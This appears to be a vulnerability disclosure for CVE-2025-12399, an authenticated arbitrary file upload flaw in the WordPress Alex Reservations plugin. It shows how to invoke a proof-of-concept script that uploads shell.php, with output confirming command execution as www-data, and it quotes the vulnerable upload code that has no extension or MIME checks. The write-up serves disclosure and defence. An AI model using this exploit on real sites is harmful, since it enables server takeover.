
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authenticated (Admin+) Arbitrary File Upload
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authenticated (Admin+) Arbitrary File Upload
The WordPress Alex Reservations plugin (versions 2.2.3 and prior) contains an arbitrary file upload vulnerability that allows authenticated WordPress administrators to upload malicious PHP files to the server, potentially leading to remote code execution.
A POC CVE-2025-12399.py is provided to demonstrate a remote attacker uploading shell.php and executing remote code:
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The vulnerability exists in the UploadFileController.php file at the endpoint. The upload functionality lacks proper file validation and only performs basic filename sanitization using a regex pattern. This allows authenticated WordPress administrators to upload arbitrary files, including PHP files that can be executed on the server.
/wp-json/srr/v1/app/upload/fileSource: User input from $_FILES['file'] (line 13)
Sink: copy($file['tmp_name'], $target_dir_file) (line 38)
The vulnerability occurs because:
routes.php.UploadFileController extends the base Controller.$_FILES['file'] is directly processed without validation.preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (line 50)wp-content/uploads/alexr-uploads/YYYY/MM/ without MIME type validation or file extension restrictions.public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}